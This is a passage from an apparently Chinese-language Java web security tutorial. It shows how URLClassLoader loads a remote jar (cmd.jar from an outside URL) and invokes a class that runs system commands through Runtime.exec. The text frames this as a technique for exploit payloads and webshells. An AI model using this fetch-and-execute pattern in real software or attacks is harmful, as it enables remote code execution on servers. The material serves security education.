URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
    TestURLClassLoader.java示例:

    1. import java.io.ByteArrayOutputStream;
    2. import java.io.InputStream;
    3. import java.net.URL;
    4. import java.net.URLClassLoader;
    5. /**
    6. * Creator: yz
    7. * Date: 2019/12/18
    8. */
    9. public class TestURLClassLoader {
    10. public static void main(String[] args) {
    11. try {
    12. // 定义远程加载的jar路径
    13. URL url = new URL("https://javaweb.org/tools/cmd.jar");
    14. // 创建URLClassLoader对象,并加载远程jar包
    15. URLClassLoader ucl = new URLClassLoader(new URL[]{url});
    16. // 定义需要执行的系统命令
    17. String cmd = "ls";
    18. // 通过URLClassLoader加载远程jar包中的CMD类
    19. Class cmdClass = ucl.loadClass("CMD");
    20. // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
    21. Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
    22. // 获取命令执行结果的输入流
    23. InputStream in = process.getInputStream();
    24. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    25. byte[] b = new byte[1024];
    26. int a = -1;
    27. // 读取命令执行结果
    28. while ((a = in.read(b)) != -1) {
    29. baos.write(b, 0, a);
    30. }
    31. // 输出命令执行结果
    32. System.out.println(baos.toString());
    33. } catch (Exception e) {
    34. e.printStackTrace();
    35. }
    36. }
    37. }

    远程的cmd.jar中就一个CMD.class文件,对应的编译之前的代码片段如下:

    1. import java.io.IOException;
    2. /**
    3. * Creator: yz
    4. * Date: 2019/12/18
    5. */
    6. public class CMD {
    7. public static Process exec(String cmd) throws IOException {
    8. return Runtime.getRuntime().exec(cmd);
    9. }
    10. }

    程序执行结果如下:

    1. README.md
    2. gitbook
    3. javaweb-sec-source
    4. javaweb-sec.iml
    5. jni
    6. pom.xml